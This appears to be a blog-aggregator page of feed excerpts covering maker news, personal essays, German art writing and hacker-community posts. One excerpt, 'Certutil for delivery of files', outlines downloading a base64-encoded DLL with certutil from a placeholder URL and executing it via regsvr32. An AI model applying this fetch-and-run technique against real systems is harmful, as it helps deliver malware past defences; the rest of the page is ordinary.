1. Drone Navigation in Uncertain Environments #drone #droneday

    Adafruit Industries " Makers, hackers, artists, designers and engineers! | 19 Feb 2018 | 12:00am CST

    From MIT News: Many existing approaches rely on intricate maps that aim to tell drones exactly where they are relative to obstacles, which isn’t particularly practical in real-world settings with unpredictable objects. If their estimated location is off by even just a small margin, they can easily crash. With that in mind, a team from […]...

  2. I Didn’t Think There Were Many African Women Scientists. Then I Checked Twitter #BlackHistoryMonth

    Adafruit Industries " Makers, hackers, artists, designers and engineers! | 18 Feb 2018 | 11:30pm CST

    This is awesome! From Esther Ngumbi on NPR. Recently, an online survey asked me to name African women scientists I admired. I found myself struggling — even though I’m a Kenyan entomologist, researching sustainable ways to feed our expanding population amid a changing climate. I thought to myself, why are there so few of us? […]...

  3. Cardboard construction kits for robots, electronics, gaming, AI, and more

    Adafruit Industries " Makers, hackers, artists, designers and engineers! | 18 Feb 2018 | 12:58pm CST

    Back in 2005 when it was peak-Apple-iPods, I was working with an advertising agency and we we were putting a custom/modded firmware on the iPods. This was back when things like that were more possible. I had a 100+ iPod boxes, empty, and wanted to do something with them. So I made a little robots, […]...

  4. Microorganisms Size Comparison

    Adafruit Industries " Makers, hackers, artists, designers and engineers! | 18 Feb 2018 | 5:00am CST

    This video from MetaBallStudios on YouTube takes a journey from the Rinovirus (30 Nano Meters) to a frog egg (1 milimeter). Its incredible how vast the universe is when you get down small! Comparison of some smaller microorganisms up to 1mm -Music: Armchair Stellar Crossing – Puddle of Infinity -Sources: http://biology-resource-package-11c.w… https://www.soinc.org/sites/default/f… http://learn.genetics.utah.edu/conten… Learn more! […]...

  5. Reader’s Digest Mysteries: Strange Stories Amazing Facts, and More

    RobOHara.com | 16 Feb 2018 | 6:06am CST

    Cheating death by freezing. The power of the Evil Eye. The giants of Easter Island. The legend of Spring-Heeled Jack. Oh, I was quite the interesting second grader to talk to. I couldn’t rattle off a single sports statistic, but I knew all about Bigfoot, fire walking, and how long we have until the sun...

  6. Dark Side Ops I & 2 Review

    Carnal0wnage & Attack Research Blog | 8 Feb 2018 | 4:31pm CST

    Dark Side Ops I https://silentbreaksecurity.com/training/dark-side-ops/https://www.blackhat.com/us-17/training/dark-side-ops-custom-penetration-testing.html A really good overview of the class is here https://www.ethicalhacker.net/features/root/course-review-dark-side-ops-custom-penetration-testingI enjoyed the class. This was actually my second time taking the class and it wasn't nearly as overwhelming the 2nd time :-) I’ll try not to cover what is in Raphael’s article as it is sti...

  7. Φ " feed art

    Elpunkt etcetera | 6 Feb 2018 | 5:07am CST

    A common reaction of these last years to the violence in particularly theatrical images from current events has been to place a spiral over them, in order to perform a fake ‚revealing‘ of their classical construction. Events as images as quasi-paintings. This spiral is of course the golden ratio, or Φ. What is happening here,...

  8. Dinner and Memories

    RobOHara.com | 5 Feb 2018 | 6:06am CST

    Last Tuesday Susan and I were able to have dinner with Susan Wood-Butorac, a person who directly changed the course of both of our lives. In the winter of 1995 I was twenty-two years old. I had been working as a contractor at the FAA for eight months, and had only been married to Susan...

  9. Vom Bilderverbot zum Fotoverbot

    Elpunkt etcetera | 27 Jan 2018 | 6:58am CST

    „Alle unsere Maschinen sind Bildschirme, wir selbst sind Bildschirme geworden und das Verhältnis der Menschen zueinander ist das von Bildschirmen geworden“ Jean Baudrillard: Videowelt und Fraktales Subjekt. In Ars Electronica (Hg.): Philosophien der Neuen Technologie, Merve, 1989. S. 113-130, S. 130 Identität und Reue sind fest verbunden. Das Subjekt findet sich in einer Krise...

  10. Blogging is back " Es wird wieder gebloggt

    Elpunkt etcetera | 26 Jan 2018 | 3:27pm CST

    Gif: Space Amoeba, 1970. Es wird wieder gebloggt, es wird darüber geredet wieder zu bloggen, es wird weiter gebloggt: Warren Ellis: Reblog: the world’s most minimalist radio station Nerdcore: Feeeeeds: Es zeichnet sich (endlich) das überfällige Blog-Revival ab Reza Negarestani: Returning to the Age of Blogging: between formal and informal, essay-form and rambling, preaching and scolding: In short,...

  11. Kunstwert in digitaler Kommunikation " Artistic value in digital communication " H καλλιτεχνική αξία στη ψηφιακή επικοινωνία

    Elpunkt etcetera | 26 Jan 2018 | 2:51pm CST

    The vastness of the digital realm destroys its own restrictions. Its endless wealth is provided in the form of art, inexhaustable, this generates potentials. In that sense, the net is a catalyser for activity beyond its own media. This happens, like described above for visual art, in constantly when we encounter artistic visuality, but it...

  12. Toys ‘Were’ Us

    RobOHara.com | 26 Jan 2018 | 6:06am CST

    I was four-years-old when I met Darth Vader. My memory of the event is foggy, but I remember it was dark so it must have been either early or late. It was cold. We — my mom and I — stood outside in the Toys ‘R’ Us parking lot waiting for the advertised celebrities...

  13. Cheater Spacer Shelves

    RobOHara.com | 24 Jan 2018 | 6:06am CST

    During this week’s furlough, I decided to tackle a few projects around the house that I’ve been putting off for far too long. One of those projects involved creating a pair of “spacer shelves” for our upstairs entertainment center. The built-in entertainment in our upstairs den is really nice, but the shelves are way...

  14. Furlough, Can You Go

    RobOHara.com | 20 Jan 2018 | 7:07am CST

    For the second time in five years, Susan and I have been furloughed. What that means is, until a budget is passed by congress, all non-essential federal employees — that’s us — are prohibited from working and will not get paid until the furlough is over. We can’t even volunteer to work for free. ...

  15. Books I'd give to my 30yr old self

    Carnal0wnage & Attack Research Blog | 16 Nov 2017 | 10:14am CST

    A good friend/co-worker recently turned 30. In preparation for his birthday party I gave some thought to my 30th birthday and the things I now know or have an idea about and what I wish I had known at that point in my life. I decided to buy him a few books that had impacted my life since my 30th birthday and that I wish I had know or read earlier in life.I'll split the post into two parts; computer books and life/metaphysical books.Computer booksThis is by no means an exhaustive list. A more e...

  16. Mentoring: On Blogging

    Carnal0wnage & Attack Research Blog | 25 Aug 2017 | 7:00am CDT

    Received the question about blogging. More specifically:How and WhyHow to benefit from bloggingHow to be consistent with postingIn my mind, the key to success and blogging is to be totally selfish in its planning and execution.Blogging is a personal activity/journey that you allow the public to be a part of. What I mean by this is that the main audience for your blog should be YOU. My blog is a place where I take notes and occasionally try to talk about a more touchy-feely topics or issues. Th...

  17. Certutil for delivery of files

    Carnal0wnage & Attack Research Blog | 21 Aug 2017 | 7:00am CDT

    Quick post putting together some twitter awesomenessreferences:https://twitter.com/subtee/status/888125678872399873https://twitter.com/subTee/status/888071631528235010https://twitter.com/malwaretechblog/status/733651527827623936Let's do it1. Create your DLL2. Base64encode it (optional)3. Use certutil.exe -urlcache -split -f http://example/file.txt file.blah to pull it down4. Base64decode the file with certutil5. Execute the dll with regsvr32 regsvr32 /s /u mydll.dll...

  18. Follow up to the vuln disclosure post

    Carnal0wnage & Attack Research Blog | 29 Jun 2017 | 7:07am CDT

    Summary of responses from this post: http://carnal0wnage.attackresearch.com/2017/06/vulnerability-disclosure-free-bug.htmlI wanted to document/summarize some of the responses I received and some of the insights I gained via self observation and my interactions with others on the topic.I received a few replies (less than I hoped for though). To summarize a few:-I'm not a greedy bastard for thinking it would "be nice" to get paid for reporting a vuln but I should not expect them.-Bug Bounty awards...

  19. Bow To The Cow!

    CULT OF THE DEAD COW | 19 Apr 2017 | 10:44am CDT

    If you've been wanting to show your love and allegiance to the Cow but haven't known how, we have the perfect solution for you. Now available in limited quantities are a new round of cDc merchandise for your pleasure. First...

  20. cDc Day 2016 is upon us!

    CULT OF THE DEAD COW | 11 Jul 2016 | 8:45am CDT

    Suggested cDc Day activities include: 1.Take a trip to a 7-11 and reminisce about the convenience store as an institution, and its place in your life. How dependably open for so many hours! The wide variety of products in a...

  21. CULT OF THE DEAD COW Statement on Jacob Appelbaum / ioerror

    CULT OF THE DEAD COW | 6 Jun 2016 | 9:14am CDT

    FOR IMMEDIATE RELEASE 06-June-2016 CULT OF THE DEAD COW Statement on Jacob Appelbaum / ioerror Like much of the hacker community, we were troubled to hear the allegations of sexual abuse, manipulation, and bullying leveled against one of our members,...

  22. Embrace the strange: support indy artist Victor Cayro this Sept. 10 in San Francisco

    CULT OF THE DEAD COW | 25 Aug 2015 | 8:52pm CDT

    Incredibly nice guy and friend of the herd (and co-founder of the mysterious DSSK collective) Victor Cayro will have an art show in San Francisco on September 10th. If you're in the area, please support independent art that stretches the...

  23. Friends of the Herd Doing Awesome Things: Carmageddon Part 1

    CULT OF THE DEAD COW | 21 Jul 2015 | 8:21am CDT

    Badass and scary as fuck at the same time. Good job! http://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway/...

  24. Audience

    Elpunkt etcetera | 30 Apr 2014 | 5:00am CDT

    aus: Ruins. The body in the eye of art. In: Offline Samizdat Magazin Nr. 3 (2014)...

  25. Exotic Liability 87: Trigger

    Exotic Liability | 25 Mar 2013 | 12:58am CDT

    The one where we start a shiznit-storm and, oh yeah, a chat with Violet Blue.... Thanks to: Jericho & Banasidhe for being in studio! Enjoy!

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